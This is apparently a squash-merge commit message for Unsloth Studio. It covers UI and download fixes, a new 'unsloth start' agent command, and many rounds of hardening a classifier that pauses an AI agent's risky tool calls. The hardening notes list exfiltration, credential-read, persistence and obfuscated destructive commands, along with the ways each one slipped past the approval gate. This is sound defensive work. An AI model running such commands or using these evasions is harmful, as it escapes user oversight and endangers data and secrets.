startup failure and the mid-request death.
Three items from the latest review round.
A scoped download job carries a deliberate file subset, and every file set of one repo rides
the same "@scope" slot. A client that adopts a live job from the backend had no file list to
compare against: the active-downloads response never carried one, so an adopted job's set was
unknown and any later scoped request for the same repo read as "already started". Selecting a
different checkpoint then waited on the wrong transfer and tried to load a file nobody
fetched. The response now publishes the scoped file list, adoption records it, and an unknown
set no longer satisfies a scoped request.
A gallery record can be deleted while its blob is still downloading. The delete revokes the
URL present at that moment, so the fetch that lands afterwards inserted a fresh object URL for
a record no card renders and nothing can revoke: a full MP4, tens to hundreds of MB, pinned
for the rest of the session, and once per raced fetch. Both galleries now discard a blob whose
record went away, with an epoch covering the video page's Clear all.
The video backend keeps the last completed job until the next one starts, and the Video page
merges that record on mount to cover a job that finished after the gallery fetch. Deleting the
clip left the record in place, so every reload prepended a ghost card whose file request 404s
until another generation replaced it. Deleting the clip, or clearing the gallery, now clears
the matching terminal record, and the page skips a record it deleted itself.
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Add interactive Agents command builder
* Add local subagent command guidance
* Add official coding agent icons
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Shell-quote the model, forward the HF token, and fix the quant placeholder
- Quote the --model value in the generated and subagent commands so a local
path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
when a model has no variants; clear the failure once a later request succeeds
* Fix Agents command discovery and routing
* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)
* Improve unsloth start runtime lifecycle
* Remove speculative Gemma prompt override
* Polish model download progress output
* Refine unsloth start status output
* Clarify unsloth readiness banner
* Clarify model reuse and switching output
* Queue model switches behind active inference
* Tighten unsloth start model switching
* Reduce model switch bookkeeping
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio re-exec compatibility
* Recheck sidecar reservation after inference drain
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass start marker through child environment
* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in start, studio, and inference changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
* Fix Agents builder defaults and flag validation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Agents variant and provider fallbacks
* Fix local model and Pi subagent edge cases
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Preserve cache load ids and path variants in built commands for PR #7312
A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* List GGUF variants from the cache the command loads from for PR #7312
A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Send the cached GGUF load path and fix the agents tab search targets for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Keep the resident model on its active cache load for PR #7312
* Tighten the agents tab and cached GGUF comments for PR #7312
* Take the agent command shell from the Studio host for PR #7303
* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312
* Pick the command shell from where the CLI runs for PR #7303
* Match a path load by its advertised id and follow the resident model for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit quantization and retire superseded native-grant labels for PR #7312
* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312
* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312
* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312
* Fix snapshot alias, partial split and mmproj-only handling for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust scanned model_format and drop incomplete snapshot ids for PR #7312
* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict revision aliases and require complete snapshot variants for PR #7312
* Index revisions individually and hide partial variants for PR #7312
---------
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
